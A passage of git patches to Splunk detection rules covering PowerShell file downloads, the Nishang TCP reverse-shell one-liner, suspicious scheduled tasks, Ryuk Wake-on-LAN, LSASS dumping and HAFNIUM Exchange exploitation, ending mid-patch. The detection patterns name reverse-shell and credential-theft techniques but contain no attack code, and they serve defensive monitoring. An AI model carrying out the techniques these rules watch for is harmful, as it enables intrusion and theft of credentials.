+  automated_detection_testing: passed

From 31a93755b7d9c8505c4ff9744eafb58622c1fe7a Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Wed, 3 Mar 2021 09:56:30 -0700
Subject: [PATCH 55/67] Update any_powershell_downloadfile.yml

---
 detections/endpoint/any_powershell_downloadfile.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/detections/endpoint/any_powershell_downloadfile.yml b/detections/endpoint/any_powershell_downloadfile.yml
index 264609f003..0dfe271969 100644
--- a/detections/endpoint/any_powershell_downloadfile.yml
+++ b/detections/endpoint/any_powershell_downloadfile.yml
@@ -10,7 +10,7 @@ description: The following analytic identifies the use of PowerShell downloading
   Identify the source (IP/domain) and destination file and triage appropriately. If AMSI logging or PowerShell transaction logs are available, review for further details of the implant.
 search: '| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
   as lastTime from datamodel=Endpoint.Processes where Processes.process_name=powershell.exe OR Processes.process_name=pwsh.exe OR Processes.process_name=PowerShell_ISE.exe
-  Processes.process=*.DownloadFile*  by Processes.dest
+  Processes.process=*DownloadFile*  by Processes.dest
   Processes.user Processes.parent_process Processes.process_name Processes.process
   Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)`
   | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `any_powershell_downloadfile_filter`'

From aada39ec1cbe9ed0b1bb0e6ea0fa0080ab5d6bfc Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Wed, 3 Mar 2021 12:26:55 -0700
Subject: [PATCH 56/67] Update
 suspicious_scheduled_task_from_public_directory.yml

---
 .../suspicious_scheduled_task_from_public_directory.yml         | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/detections/endpoint/suspicious_scheduled_task_from_public_directory.yml b/detections/endpoint/suspicious_scheduled_task_from_public_directory.yml
index 38b0207037..00f8994488 100644
--- a/detections/endpoint/suspicious_scheduled_task_from_public_directory.yml
+++ b/detections/endpoint/suspicious_scheduled_task_from_public_directory.yml
@@ -10,7 +10,7 @@ description: The following detection identifies Scheduled Tasks registering (cre
   Upon triage, review the binary or script in the command line for legitimacy, whether an approved binary/script or not. In addition, capture the binary or script in question and analyze for further behaviors. Identify the source and contain the endpoint. 
 search: '| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
   as lastTime from datamodel=Endpoint.Processes where Processes.process_name=schtasks.exe
-  (Processes.process="*\\public\\*" OR Processes.process="*\\programdata\\*" OR Processes.process="*windows\\temp*")  Processes.process="*/create*"
+  (Processes.process=*\\users\\public\\* OR Processes.process=*\\programdata\\* OR Processes.process=*windows\\temp*)  Processes.process=*/create*
   by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process
   Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)`
   | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `suspicious_scheduled_task_from_public_directory_filter`'

From 169fb442498868dfb2469a4df6f4701ac1736733 Mon Sep 17 00:00:00 2001
From: root <root@ip-10-0-244-127>
Date: Wed, 3 Mar 2021 19:46:18 +0000
Subject: [PATCH 57/67] Added detection testing service results inSuspicious
 Scheduled Task from Public Directory

---
 ...us_scheduled_task_from_public_directory.yml | 18 ++++++++++++------
 1 file changed, 12 insertions(+), 6 deletions(-)

diff --git a/detections/endpoint/suspicious_scheduled_task_from_public_directory.yml b/detections/endpoint/suspicious_scheduled_task_from_public_directory.yml
index 00f8994488..26e0ceb588 100644
--- a/detections/endpoint/suspicious_scheduled_task_from_public_directory.yml
+++ b/detections/endpoint/suspicious_scheduled_task_from_public_directory.yml
@@ -6,18 +6,24 @@ author: Michael Haag, Splunk
 type: batch
 datamodel:
 - Endpoint
-description: The following detection identifies Scheduled Tasks registering (creating a new task) a binary or script to run from a public directory which includes users\public, \programdata\ and \windows\temp. 
-  Upon triage, review the binary or script in the command line for legitimacy, whether an approved binary/script or not. In addition, capture the binary or script in question and analyze for further behaviors. Identify the source and contain the endpoint. 
+description: The following detection identifies Scheduled Tasks registering (creating
+  a new task) a binary or script to run from a public directory which includes users\public,
+  \programdata\ and \windows\temp. Upon triage, review the binary or script in the
+  command line for legitimacy, whether an approved binary/script or not. In addition,
+  capture the binary or script in question and analyze for further behaviors. Identify
+  the source and contain the endpoint.
 search: '| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
   as lastTime from datamodel=Endpoint.Processes where Processes.process_name=schtasks.exe
-  (Processes.process=*\\users\\public\\* OR Processes.process=*\\programdata\\* OR Processes.process=*windows\\temp*)  Processes.process=*/create*
-  by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process
+  (Processes.process=*\\users\\public\\* OR Processes.process=*\\programdata\\* OR
+  Processes.process=*windows\\temp*)  Processes.process=*/create* by Processes.dest
+  Processes.user Processes.parent_process Processes.process_name Processes.process
   Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)`
   | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `suspicious_scheduled_task_from_public_directory_filter`'
 how_to_implement: To successfully implement this search you need to be ingesting information
   on process that include the name of the process responsible for the changes from
   your endpoints into the `Endpoint` datamodel in the `Processes` node.
-known_false_positives: Limited false positives may be present. Filter as needed by parent process or command line argument.
+known_false_positives: Limited false positives may be present. Filter as needed by
+  parent process or command line argument.
 references:
 - https://attack.mitre.org/techniques/T1053/005/
 tags:
@@ -36,4 +42,4 @@ tags:
   - Splunk Enterprise
   - Splunk Enterprise Security
   - Splunk Cloud
-  
\ No newline at end of file
+  automated_detection_testing: passed

From 69ddac9555ae7da4a05afc4b6b4ea21db3c5c578 Mon Sep 17 00:00:00 2001
From: root <root@ip-10-0-111-21>
Date: Wed, 3 Mar 2021 20:52:34 +0000
Subject: [PATCH 58/67] Added detection testing service results inSuspicious
 Scheduled Task from Public Directory


From ac49f9ab9e2569f8f0998a6d8c5303de10c4d48a Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Wed, 3 Mar 2021 14:10:11 -0700
Subject: [PATCH 59/67] HAFNIUM and more updates

---
 .../endpoint/any_powershell_downloadfile.yml  |  2 +-
 .../any_powershell_downloadstring.yml         |  1 +
 ...ution_policy_to_unrestricted_or_bypass.yml |  1 +
 .../detect_new_local_admin_account.yml        |  1 +
 .../detect_psexec_with_accepteula_flag.yml    |  1 +
 .../endpoint/dump_lsass_via_comsvcs_dll.yml   |  1 +
 .../endpoint/dump_lsass_via_procdump.yml      |  1 +
 .../dump_lsass_via_procdump_rename.yml        |  1 +
 ...connect_to_internet_with_hidden_window.yml |  1 +
 ...hell_process___execution_policy_bypass.yml |  1 +
 .../endpoint/nishang_powershelltcponeline.yml | 39 +++++++++++++++++
 detections/endpoint/ntdsutil_export_ntds.yml  |  1 +
 .../endpoint/ryuk_wake_on_lan_command.yml     |  2 +-
 ...s_sending_high_volume_traffic_to_hosts.yml |  1 +
 ...d_messaging_service_spawning_a_process.yml | 43 +++++++++++++++++++
 stories/hafnium_group.yml                     | 27 ++++++++++++
 .../nishang_powershelltcponeline.test.yml     | 12 ++++++
 17 files changed, 134 insertions(+), 2 deletions(-)
 create mode 100644 detections/endpoint/nishang_powershelltcponeline.yml
 create mode 100644 detections/experimental/endpoint/unified_messaging_service_spawning_a_process.yml
 create mode 100644 stories/hafnium_group.yml
 create mode 100644 tests/endpoint/nishang_powershelltcponeline.test.yml

diff --git a/detections/endpoint/any_powershell_downloadfile.yml b/detections/endpoint/any_powershell_downloadfile.yml
index 0dfe271969..db2de6fbd9 100644
--- a/detections/endpoint/any_powershell_downloadfile.yml
+++ b/detections/endpoint/any_powershell_downloadfile.yml
@@ -10,7 +10,7 @@ description: The following analytic identifies the use of PowerShell downloading
   Identify the source (IP/domain) and destination file and triage appropriately. If AMSI logging or PowerShell transaction logs are available, review for further details of the implant.
 search: '| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
   as lastTime from datamodel=Endpoint.Processes where Processes.process_name=powershell.exe OR Processes.process_name=pwsh.exe OR Processes.process_name=PowerShell_ISE.exe
-  Processes.process=*DownloadFile*  by Processes.dest
+  Processes.process=*DownloadFile* by Processes.dest
   Processes.user Processes.parent_process Processes.process_name Processes.process
   Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)`
   | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `any_powershell_downloadfile_filter`'
diff --git a/detections/endpoint/any_powershell_downloadstring.yml b/detections/endpoint/any_powershell_downloadstring.yml
index 20d335a4b8..acac1fcde6 100644
--- a/detections/endpoint/any_powershell_downloadstring.yml
+++ b/detections/endpoint/any_powershell_downloadstring.yml
@@ -31,6 +31,7 @@ references:
 tags:
   analytic_story:
   - Malicious PowerShell
+  - HAFNIUM Group
   dataset:
   - https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1059.001/atomic_red_team/windows-sysmon.log
   kill_chain_phases:
diff --git a/detections/endpoint/attempt_to_set_default_powershell_execution_policy_to_unrestricted_or_bypass.yml b/detections/endpoint/attempt_to_set_default_powershell_execution_policy_to_unrestricted_or_bypass.yml
index a3db88ef9d..ad7f47f99e 100644
--- a/detections/endpoint/attempt_to_set_default_powershell_execution_policy_to_unrestricted_or_bypass.yml
+++ b/detections/endpoint/attempt_to_set_default_powershell_execution_policy_to_unrestricted_or_bypass.yml
@@ -27,6 +27,7 @@ tags:
   analytic_story:
   - Malicious PowerShell
   - Credential Dumping
+  - HAFNIUM Group
   asset_type: Endpoint
   automated_detection_testing: passed
   cis20:
diff --git a/detections/endpoint/detect_new_local_admin_account.yml b/detections/endpoint/detect_new_local_admin_account.yml
index 0cb8e5f687..571d3cb8b4 100644
--- a/detections/endpoint/detect_new_local_admin_account.yml
+++ b/detections/endpoint/detect_new_local_admin_account.yml
@@ -21,6 +21,7 @@ references: []
 tags:
   analytic_story:
   - DHS Report TA18-074A
+  - HAFNIUM Group
   asset_type: Windows
   automated_detection_testing: passed
   cis20:
diff --git a/detections/endpoint/detect_psexec_with_accepteula_flag.yml b/detections/endpoint/detect_psexec_with_accepteula_flag.yml
index 1750a7346a..361ac30475 100644
--- a/detections/endpoint/detect_psexec_with_accepteula_flag.yml
+++ b/detections/endpoint/detect_psexec_with_accepteula_flag.yml
@@ -33,6 +33,7 @@ tags:
   analytic_story:
   - SamSam Ransomware
   - DHS Report TA18-074A
+  - HAFNIUM Group
   asset_type: Endpoint
   automated_detection_testing: passed
   cis20:
diff --git a/detections/endpoint/dump_lsass_via_comsvcs_dll.yml b/detections/endpoint/dump_lsass_via_comsvcs_dll.yml
index 7c2425cc66..800a9204dc 100644
--- a/detections/endpoint/dump_lsass_via_comsvcs_dll.yml
+++ b/detections/endpoint/dump_lsass_via_comsvcs_dll.yml
@@ -24,6 +24,7 @@ tags:
   analytic_story:
   - Credential Dumping
   - Suspicious Rundll32 Activity
+  - HAFNIUM Group
   asset_type: Endpoint
   automated_detection_testing: passed
   cis20:
diff --git a/detections/endpoint/dump_lsass_via_procdump.yml b/detections/endpoint/dump_lsass_via_procdump.yml
index d44d550a62..75d8b440d3 100644
--- a/detections/endpoint/dump_lsass_via_procdump.yml
+++ b/detections/endpoint/dump_lsass_via_procdump.yml
@@ -32,6 +32,7 @@ references:
 tags:
   analytic_story:
   - Credential Dumping
+  - HAFNIUM Group
   asset_type: Endpoint
   automated_detection_testing: passed
   cis20:
diff --git a/detections/endpoint/dump_lsass_via_procdump_rename.yml b/detections/endpoint/dump_lsass_via_procdump_rename.yml
index a3134f16e9..a1de6284dc 100644
--- a/detections/endpoint/dump_lsass_via_procdump_rename.yml
+++ b/detections/endpoint/dump_lsass_via_procdump_rename.yml
@@ -30,6 +30,7 @@ references:
 tags:
   analytic_story:
   - Credential Dumping
+  - HAFNIUM Group
   asset_type: Endpoint
   automated_detection_testing: passed
   cis20:
diff --git a/detections/endpoint/malicious_powershell_process___connect_to_internet_with_hidden_window.yml b/detections/endpoint/malicious_powershell_process___connect_to_internet_with_hidden_window.yml
index 1ca64442d6..97a7eecbe2 100644
--- a/detections/endpoint/malicious_powershell_process___connect_to_internet_with_hidden_window.yml
+++ b/detections/endpoint/malicious_powershell_process___connect_to_internet_with_hidden_window.yml
@@ -31,6 +31,7 @@ tags:
   analytic_story:
   - Malicious PowerShell
   - Possible Backdoor Activity Associated With MUDCARP Espionage Campaigns
+  - HAFNIUM Group
   asset_type: Endpoint
   automated_detection_testing: passed
   cis20:
diff --git a/detections/endpoint/malicious_powershell_process___execution_policy_bypass.yml b/detections/endpoint/malicious_powershell_process___execution_policy_bypass.yml
index ce4c1b25d8..f1d66ed880 100644
--- a/detections/endpoint/malicious_powershell_process___execution_policy_bypass.yml
+++ b/detections/endpoint/malicious_powershell_process___execution_policy_bypass.yml
@@ -28,6 +28,7 @@ references: []
 tags:
   analytic_story:
   - DHS Report TA18-074A
+  - HAFNIUM Group
   asset_type: Endpoint
   automated_detection_testing: passed
   cis20:
diff --git a/detections/endpoint/nishang_powershelltcponeline.yml b/detections/endpoint/nishang_powershelltcponeline.yml
new file mode 100644
index 0000000000..26269d87a6
--- /dev/null
+++ b/detections/endpoint/nishang_powershelltcponeline.yml
@@ -0,0 +1,39 @@
+name: Nishang PowershellTCPOneLine
+id: 1a382c6c-7c2e-11eb-ac69-acde48001122
+version: 1
+date: '2021-03-03'
+author: Michael Haag, Splunk
+type: batch
+datamodel:
+- Endpoint
+description: This query detects the Nishang Invoke-PowerShellTCPOneLine utility that spawns a call back to a remote command and control server. This is a powershell oneliner. In addition, this will capture on the command-line additional utilities used by Nishang.
+  Triage the endpoint and identify any parallel processes that look suspicious. Review the reputation of the remote IP or domain contacted by the powershell process. 
+search: '| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
+  as lastTime from datamodel=Endpoint.Processes where Processes.process_name=powershell.exe OR Processes.process_name=pwsh.exe OR Processes.process_name=PowerShell_ISE.exe
+  (Processes.process=*Net.Sockets.TCPClient*) by Processes.dest
+  Processes.user Processes.parent_process Processes.process_name Processes.process
+  Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)`
+  | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `nishang_powershelltcponeline_filter`'
+how_to_implement: To successfully implement this search you need to be ingesting information
+  on process that include the name of the process responsible for the changes from
+  your endpoints into the `Endpoint` datamodel in the `Processes` node.
+known_false_positives: Limited false positives may be present. Filter as needed based on initial analysis.
+references:
+- https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1
+- https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/
+- https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/
+- https://blog.rapid7.com/2021/03/03/rapid7s-insightidr-enables-detection-and-response-to-microsoft-exchange-0-day/
+tags:
+  analytic_story:
+  - HAFNIUM Group
+  dataset:
+  - https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1059.001/atomic_red_team/windows-sysmon.log
+  kill_chain_phases:
+  - Exploitation
+  mitre_attack_id:
+  - T1059.001
+  product:
+  - Splunk Enterprise
+  - Splunk Enterprise Security
+  - Splunk Cloud
+  
\ No newline at end of file
diff --git a/detections/endpoint/ntdsutil_export_ntds.yml b/detections/endpoint/ntdsutil_export_ntds.yml
index 67a4b40758..cca6984d5d 100644
--- a/detections/endpoint/ntdsutil_export_ntds.yml
+++ b/detections/endpoint/ntdsutil_export_ntds.yml
@@ -37,6 +37,7 @@ references:
 tags:
   analytic_story:
   - Credential Dumping
+  - HAFNIUM Group
   asset_type: Endpoint
   automated_detection_testing: passed
   cis20:
diff --git a/detections/endpoint/ryuk_wake_on_lan_command.yml b/detections/endpoint/ryuk_wake_on_lan_command.yml
index c0d6292b09..199d876b71 100644
--- a/detections/endpoint/ryuk_wake_on_lan_command.yml
+++ b/detections/endpoint/ryuk_wake_on_lan_command.yml
@@ -9,7 +9,7 @@ datamodel:
 description: This Splunk query identifies the use of Wake-on-LAN utilized by Ryuk ransomware. The Ryuk Ransomware uses the Wake-on-Lan feature to turn on powered off devices on a compromised network to have greater success encrypting them. This is a high fidelity indicator of Ryuk ransomware executing on an endpoint.
   Upon triage, isolate the endpoint. Additional file modification events will be within the users profile (\appdata\roaming) and in public directories (users\public\). Review all Scheduled Tasks on the isolated endpoint and across the fleet. Suspicious Scheduled Tasks will include a path to a unknown binary and those endpoints should be isolated until triaged.
 search: '| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
-  as lastTime from datamodel=Endpoint.Processes where Processes.process="*8 LAN*" OR Processes.process="*9 REP*" by Processes.dest
+  as lastTime from datamodel=Endpoint.Processes where Processes.process=*8 LAN* OR Processes.process=*9 REP* by Processes.dest
   Processes.user Processes.parent_process Processes.process_name Processes.process
   Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)`
   | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `ryuk_wake_on_lan_command_filter`'
diff --git a/detections/experimental/application/email_servers_sending_high_volume_traffic_to_hosts.yml b/detections/experimental/application/email_servers_sending_high_volume_traffic_to_hosts.yml
index e829ed6c99..7e8aacb673 100644
--- a/detections/experimental/application/email_servers_sending_high_volume_traffic_to_hosts.yml
+++ b/detections/experimental/application/email_servers_sending_high_volume_traffic_to_hosts.yml
@@ -37,6 +37,7 @@ references: []
 tags:
   analytic_story:
   - Collection and Staging
+  - HAFNIUM Group
   asset_type: Endpoint
   cis20:
   - CIS 7
diff --git a/detections/experimental/endpoint/unified_messaging_service_spawning_a_process.yml b/detections/experimental/endpoint/unified_messaging_service_spawning_a_process.yml
new file mode 100644
index 0000000000..73f783c19c
--- /dev/null
+++ b/detections/experimental/endpoint/unified_messaging_service_spawning_a_process.yml
@@ -0,0 +1,43 @@
+name: Unified Messaging Service Spawning a Process
+id: f1126df0-7bd5-11eb-988f-acde48001122
+version: 1
+date: '2021-03-02'
+author: Michael Haag, Splunk
+type: batch
+datamodel:
+- Endpoint
+description: This detection identifies Microsoft Exchange Server's Unified Messaging services,
+  umworkerprocess.exe and umservice.exe, spawning a child process, indicating possible exploitation
+  of CVE-2021-26857 vulnerability. The query filters out werfault.exe and wermgr.exe mostly due to
+  potential false positives, however, if there is an excessive amount of "wermgr.exe" or "WerFault.exe"
+  failures, it may be due to the active exploitation.
+  During triage, identify any additional suspicious parallel processes. Identify any recent out of
+  place file modifications. Review Exchange logs following Microsofts guide. To contain, perform
+  egress filtering or restrict public access to Exchange. In final, patch the vulnerablity and monitor.
+search: '| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
+  as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name="umworkerprocess.exe" OR Processes.parent_process_name="UMService.exe" (Processes.process_name!="wermgr.exe" OR Processes.process_name!="werfault.exe")
+  by Processes.dest Processes.user Processes.parent_process Processes.process_name
+  Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)`
+  | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `unified_messaging_service_spawning_a_process_filter`'
+how_to_implement: To successfully implement this search, you need to be ingesting
+  logs with the process name, parent process, and command-line executions from your
+  endpoints. If you are using Sysmon, you must have at least version 6.0.4 of the
+  Sysmon TA. 
+known_false_positives: Unknown. Tune out child processes as needed to limit volume of false positives.
+references:
+- https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/
+- https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/
+- https://blog.rapid7.com/2021/03/03/rapid7s-insightidr-enables-detection-and-response-to-microsoft-exchange-0-day/
+tags:
+  analytic_story:
+  - HAFNIUM Group
+  dataset: []
+  kill_chain_phases:
+  - Exploitation
+  mitre_attack_id:
+  - T1190
+  product:
+  - Splunk Enterprise
+  - Splunk Enterprise Security
+  - Splunk Cloud
+  
\ No newline at end of file
diff --git a/stories/hafnium_group.yml b/stories/hafnium_group.yml
new file mode 100644
index 0000000000..f6647be9e5
--- /dev/null
+++ b/stories/hafnium_group.yml
@@ -0,0 +1,27 @@
+name: HAFNIUM Group
+id: beae2ab0-7c3f-11eb-8b63-acde48001122
+version: 1
+date: '2021-03-03'
+author: Michael Haag, Splunk
+type: batch
+description: HAFNIUM group was identified by Microsoft as exploiting 4 Microsoft Exchange CVEs in the wild - CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 and CVE-2021-27065.
+narrative: 'On Tuesday, March 2, 2021, Microsoft released a set of security patches for its mail server, Microsoft Exchange. These patches respond to a group of vulnerabilities known to impact Exchange 2013, 2016, and 2019. It is important to note that an Exchange 2010 security update has also been issued, though the CVEs do not reference that version as being vulnerable.\
+
+  While the CVEs do not shed much light on the specifics of the vulnerabilities or exploits, the first vulnerability (CVE-2021-26855) has a remote network attack vector that allows the attacker, a group Microsoft named HAFNIUM, to authenticate as the Exchange server. Three additional vulnerabilities (CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065) were also identified as part of this activity. When chained together along with CVE-2021-26855 for initial access, the attacker would have complete control over the Exchange server. This includes the ability to run code as SYSTEM and write to any path on the server.\
+
+  The following Splunk detections assist with identifying the HAFNIUM groups tradecraft and methodology.'
+references:
+- https://www.splunk.com/en_us/blog/security/detecting-hafnium-exchange-server-zero-day-activity-in-splunk.html
+- https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/
+- https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/
+- https://blog.rapid7.com/2021/03/03/rapid7s-insightidr-enables-detection-and-response-to-microsoft-exchange-0-day/
+tags:
+  analytic_story:
+  - HAFNIUM Group
+  category:
+  - Adversary Tactics
+  product:
+  - Splunk Enterprise
+  - Splunk Enterprise Security
+  - Splunk Cloud
+  usecase: Advanced Threat Detection
\ No newline at end of file
diff --git a/tests/endpoint/nishang_powershelltcponeline.test.yml b/tests/endpoint/nishang_powershelltcponeline.test.yml
new file mode 100644
index 0000000000..fffc509979
--- /dev/null
+++ b/tests/endpoint/nishang_powershelltcponeline.test.yml
@@ -0,0 +1,12 @@
+name: Nishang PowershellTCPOneLine Unit Test
+tests:
+- name: Nishang PowershellTCPOneLine
+  file: detections/endpoint/nishang_powershelltcponeline.yml
+  pass_condition: '| stats count | where count > 0'
+  earliest_time: '-24h'
+  latest_time: 'now'
+  attack_data:
+  - file_name: windows-sysmon.log
+    data: https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1059.001/atomic_red_team/windows-sysmon.log
+    source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational
+    sourcetype: xmlwineventlog
\ No newline at end of file

From 0aa830c26d121d50c739b2345d3a3283ab4fc6be Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Wed, 3 Mar 2021 14:54:56 -0700
Subject: [PATCH 60/67] fixes

---
 detections/endpoint/ryuk_wake_on_lan_command.yml     | 2 +-
 tests/endpoint/nishang_powershelltcponeline.test.yml | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/detections/endpoint/ryuk_wake_on_lan_command.yml b/detections/endpoint/ryuk_wake_on_lan_command.yml
index 199d876b71..c0d6292b09 100644
--- a/detections/endpoint/ryuk_wake_on_lan_command.yml
+++ b/detections/endpoint/ryuk_wake_on_lan_command.yml
@@ -9,7 +9,7 @@ datamodel:
 description: This Splunk query identifies the use of Wake-on-LAN utilized by Ryuk ransomware. The Ryuk Ransomware uses the Wake-on-Lan feature to turn on powered off devices on a compromised network to have greater success encrypting them. This is a high fidelity indicator of Ryuk ransomware executing on an endpoint.
   Upon triage, isolate the endpoint. Additional file modification events will be within the users profile (\appdata\roaming) and in public directories (users\public\). Review all Scheduled Tasks on the isolated endpoint and across the fleet. Suspicious Scheduled Tasks will include a path to a unknown binary and those endpoints should be isolated until triaged.
 search: '| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
-  as lastTime from datamodel=Endpoint.Processes where Processes.process=*8 LAN* OR Processes.process=*9 REP* by Processes.dest
+  as lastTime from datamodel=Endpoint.Processes where Processes.process="*8 LAN*" OR Processes.process="*9 REP*" by Processes.dest
   Processes.user Processes.parent_process Processes.process_name Processes.process
   Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)`
   | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `ryuk_wake_on_lan_command_filter`'
diff --git a/tests/endpoint/nishang_powershelltcponeline.test.yml b/tests/endpoint/nishang_powershelltcponeline.test.yml
index fffc509979..13c85185a5 100644
--- a/tests/endpoint/nishang_powershelltcponeline.test.yml
+++ b/tests/endpoint/nishang_powershelltcponeline.test.yml
@@ -1,7 +1,7 @@
 name: Nishang PowershellTCPOneLine Unit Test
 tests:
 - name: Nishang PowershellTCPOneLine
-  file: detections/endpoint/nishang_powershelltcponeline.yml
+  file: endpoint/nishang_powershelltcponeline.yml
   pass_condition: '| stats count | where count > 0'
   earliest_time: '-24h'
   latest_time: 'now'

From 943438b52c3817c7e6100f58acb91bb182c15444 Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Wed, 3 Mar 2021 14:55:50 -0700
Subject: [PATCH 61/67] Update ryuk_wake_on_lan_command.yml

---
 detections/endpoint/ryuk_wake_on_lan_command.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/detections/endpoint/ryuk_wake_on_lan_command.yml b/detections/endpoint/ryuk_wake_on_lan_command.yml
index c0d6292b09..2c1d899302 100644
--- a/detections/endpoint/ryuk_wake_on_lan_command.yml
+++ b/detections/endpoint/ryuk_wake_on_lan_command.yml
@@ -9,7 +9,7 @@ datamodel:
 description: This Splunk query identifies the use of Wake-on-LAN utilized by Ryuk ransomware. The Ryuk Ransomware uses the Wake-on-Lan feature to turn on powered off devices on a compromised network to have greater success encrypting them. This is a high fidelity indicator of Ryuk ransomware executing on an endpoint.
   Upon triage, isolate the endpoint. Additional file modification events will be within the users profile (\appdata\roaming) and in public directories (users\public\). Review all Scheduled Tasks on the isolated endpoint and across the fleet. Suspicious Scheduled Tasks will include a path to a unknown binary and those endpoints should be isolated until triaged.
 search: '| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
-  as lastTime from datamodel=Endpoint.Processes where Processes.process="*8 LAN*" OR Processes.process="*9 REP*" by Processes.dest
+  as lastTime from datamodel=Endpoint.Processes where (Processes.process="*8 LAN*" OR Processes.process="*9 REP*") by Processes.dest
   Processes.user Processes.parent_process Processes.process_name Processes.process
   Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)`
   | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `ryuk_wake_on_lan_command_filter`'

From 0a72373d2b8ee541274b341129164fb10b62cc68 Mon Sep 17 00:00:00 2001
From: bpatel <bpatel@splunk.com>
Date: Wed, 3 Mar 2021 14:05:10 -0800
Subject: [PATCH 62/67] adding braces

---
 detections/endpoint/any_powershell_downloadfile.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/detections/endpoint/any_powershell_downloadfile.yml b/detections/endpoint/any_powershell_downloadfile.yml
index db2de6fbd9..25c177eb71 100644
--- a/detections/endpoint/any_powershell_downloadfile.yml
+++ b/detections/endpoint/any_powershell_downloadfile.yml
@@ -9,7 +9,7 @@ datamodel:
 description: The following analytic identifies the use of PowerShell downloading a file using `DownloadFile` method. This particular method is utilized in many different PowerShell frameworks to download files and output to disk. 
   Identify the source (IP/domain) and destination file and triage appropriately. If AMSI logging or PowerShell transaction logs are available, review for further details of the implant.
 search: '| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
-  as lastTime from datamodel=Endpoint.Processes where Processes.process_name=powershell.exe OR Processes.process_name=pwsh.exe OR Processes.process_name=PowerShell_ISE.exe
+  as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=powershell.exe OR Processes.process_name=pwsh.exe OR Processes.process_name=PowerShell_ISE.exe)
   Processes.process=*DownloadFile* by Processes.dest
   Processes.user Processes.parent_process Processes.process_name Processes.process
   Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)`

From 442fb6eced2d94b4c2d9122ca16a49d6437b0c30 Mon Sep 17 00:00:00 2001
From: root <root@ip-10-0-253-177>
Date: Wed, 3 Mar 2021 22:12:55 +0000
Subject: [PATCH 63/67] Added detection testing service results inNishang
 PowershellTCPOneLine

---
 .../endpoint/nishang_powershelltcponeline.yml | 24 ++++++++++++-------
 1 file changed, 15 insertions(+), 9 deletions(-)

diff --git a/detections/endpoint/nishang_powershelltcponeline.yml b/detections/endpoint/nishang_powershelltcponeline.yml
index 26269d87a6..8f6379ca8d 100644
--- a/detections/endpoint/nishang_powershelltcponeline.yml
+++ b/detections/endpoint/nishang_powershelltcponeline.yml
@@ -6,18 +6,24 @@ author: Michael Haag, Splunk
 type: batch
 datamodel:
 - Endpoint
-description: This query detects the Nishang Invoke-PowerShellTCPOneLine utility that spawns a call back to a remote command and control server. This is a powershell oneliner. In addition, this will capture on the command-line additional utilities used by Nishang.
-  Triage the endpoint and identify any parallel processes that look suspicious. Review the reputation of the remote IP or domain contacted by the powershell process. 
+description: This query detects the Nishang Invoke-PowerShellTCPOneLine utility that
+  spawns a call back to a remote command and control server. This is a powershell
+  oneliner. In addition, this will capture on the command-line additional utilities
+  used by Nishang. Triage the endpoint and identify any parallel processes that look
+  suspicious. Review the reputation of the remote IP or domain contacted by the powershell
+  process.
 search: '| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
